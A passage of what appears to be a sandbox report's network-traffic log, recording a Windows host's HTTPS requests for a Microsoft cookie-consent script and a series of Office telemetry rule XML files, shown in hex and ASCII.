2024-11-30 03:12:47 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-30 03:12:47 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:47 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 29233 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5ac760eb-e01e-0001-4f91-429f03000000 x-ms-version: 2009-09-19 x-azure-ref: 20241130T031247Z-174f7845968pf68xhC1EWRr4h8000000110g00000000fvtu Accept-Ranges: bytes
2024-11-30 03:12:47 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-30 03:12:48 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-30 03:12:48 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-30 03:12:48 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:47 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031248Z-174f7845968kdththC1EWRzvxn0000000d9g000000001nfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:48 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4120d711-e01e-0033-410b-424695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031249Z-174f7845968jrjrxhC1EWRmmrs00000010y000000000br9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:49 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031249Z-174f7845968ljs8phC1EWRe6en00000010s000000000548n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:49 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031249Z-174f7845968xr5c2hC1EWRd0hn0000000ht0000000002zg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:49 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:49 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 64c010c7-b01e-003e-2ea1-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031249Z-174f78459685726chC1EWRsnbg00000010vg00000000cu0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:49 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:50 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:50 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: e27289f3-201e-0003-0c15-42f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031250Z-174f7845968n2hr8hC1EWR9cag00000010hg000000004nt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 03:12:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:51 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:51 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 10d830e7-e01e-0020-2d2d-41de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031251Z-174f7845968px8v7hC1EWR08ng000000113g00000000a2f5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:51 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:51 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:51 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031251Z-174f7845968kvnqxhC1EWRmf3g0000000mm000000000dnq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:51 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:51 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:51 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 4a04c0d5-701e-0021-24d3-413d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031251Z-174f7845968px8v7hC1EWR08ng00000010z000000000nyum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:51 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
